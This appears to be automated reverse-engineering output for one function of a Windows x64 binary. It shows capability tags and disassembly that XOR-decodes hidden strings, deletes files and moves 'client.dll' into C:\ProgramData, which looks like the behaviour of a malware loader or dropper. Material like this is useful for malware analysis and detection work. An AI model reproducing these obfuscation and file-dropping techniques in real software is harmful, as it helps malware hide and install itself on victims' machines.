Function at 0x140004680
Capabilities:
Delete file
Encode data using xor
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x1b8]
sub rsp, 0x2b0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
mov rax, qword [0x14009d080]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor ebx, ebx
movups xmm0, xmmword [str.u_rdiHT_O_R]
movups xmmword [rsp + 0x48], xmm0
movsd xmm0, qword [0x1400909c8]
movsd qword [rsp + 0x58], xmm0
movzx eax, word [0x1400909d0]
mov word [rsp + 0x60], ax
lea esi, [rbx + 1]
lea r14d, [rbx + 0x1f]
mov edi, dword [reloc.WS2_32.dll_accept]
cmp byte [reloc.WLDAP32.dll_Ordinal_79], bl
je 0x14000488f
mov r8d, ebx
cmp edi, 2
jl 0x140004853
movdqa xmm5, xmmword [0x140091070]
movdqa xmm4, xmmword [0x1400910e0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140091090]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400910f0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x4c]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400910d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400910d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140004750
cmp r8d, 0x1a
jge 0x14000488f
movsxd rax, r8d
lea r9, [rsp + 0x48]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140004860
lea rcx, [rsp + 0x48]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x1400048a6
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [0x140090f58]
mov word [rsp + 0x38], ax
movsd xmm0, qword [str.U_QTO]
movzx eax, byte [0x140090f5a]
movsd qword [rsp + 0x30], xmm0
mov byte [rsp + 0x30], 0x63
xor byte [rsp + 0x31], 0x37
xor byte [rsp + 0x32], 0x38
xor byte [rsp + 0x33], 0x39
xor byte [rsp + 0x34], 0x3a
xor byte [rsp + 0x35], 0x3b
xor byte [rsp + 0x36], 0x3c
xor byte [rsp + 0x37], 0x3d
xor byte [rsp + 0x38], 0x3e
xor byte [rsp + 0x39], 0x3f
xor al, 0x40
mov byte [rsp + 0x3a], al
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140004916
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x70]
lea rcx, str.CLI
movups xmm0, xmmword [rcx]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x10], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rcx]
movups xmmword [rdx], xmm1
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm0
movups xmm1, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x20], xmm1
movups xmm0, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x30], xmm0
mov eax, dword [rcx + 0x40]
mov dword [rdx + 0x40], eax
movzx eax, word [rcx + 0x44]
mov word [rdx + 0x44], ax
movzx eax, byte [rcx + 0x46]
mov byte [rdx + 0x46], al
mov r8d, ebx
cmp edi, 2
jl 0x140004af9
movdqa xmm5, xmmword [0x140091070]
movdqa xmm4, xmmword [0x1400910e0]
movd xmm6, esi
movdqa xmm7, xmmword [0x140091090]
movd xmm8, r14d
movdqa xmm0, xmmword [0x1400910f0]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400910d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400910d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xc0
jl 0x1400049f0
cmp r8d, 0xc7
jge 0x140004b42
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc7
jl 0x140004b10
mov dword [rsp + 0x30], 0xc6cbcdc3
mov dword [rsp + 0x34], 0xc388d1ca
mov dword [rsp + 0x38], 0x100c5c4
nop word [rax + rax]
lea eax, [rbx - 0x60]
xor byte [rsp + rbx + 0x30], al
inc rbx
cmp rbx, 0xa
jb 0x140004b60
mov byte [rsp + 0x3b], 0
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x3a]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x40]
call fcn.14001b250
nop
call fcn.14001c110
mov rbx, rax
test rax, rax
je 0x140004c80
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdx, qword [rbp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.14001a2d0
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x60], rax
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x5c], edx
cmp qword [rbp + 0xe8], 0
jne 0x140004c05
lea rcx, [rbp + 0x60]
call fcn.140004d20
jmp 0x140004c9f
lea r8, [rsp + 0x70]
mov edx, 0x2712
mov rcx, rbx
call fcn.14001e910
lea r8, [0x140004650]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.14001e910
lea r8, [rbp + 0x60]
mov edx, 0x2711
mov rcx, rbx
call fcn.14001e910
mov rcx, rbx
call fcn.14001c1d0
lea rcx, [rbp + 0x68]
call fcn.14001a210
test rax, rax
jne 0x140004c6e
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x60]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call fcn.14001c0f0
nop
lea rcx, [rbp + 0x60]
call fcn.140004d20
lea rdx, str.C:ProgramDataclient.dll
lea rcx, str.client.dll
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140004c9f
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140004cdd
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cd8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004cd8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007d934
mov al, 1
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.14007d680
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop rbp
ret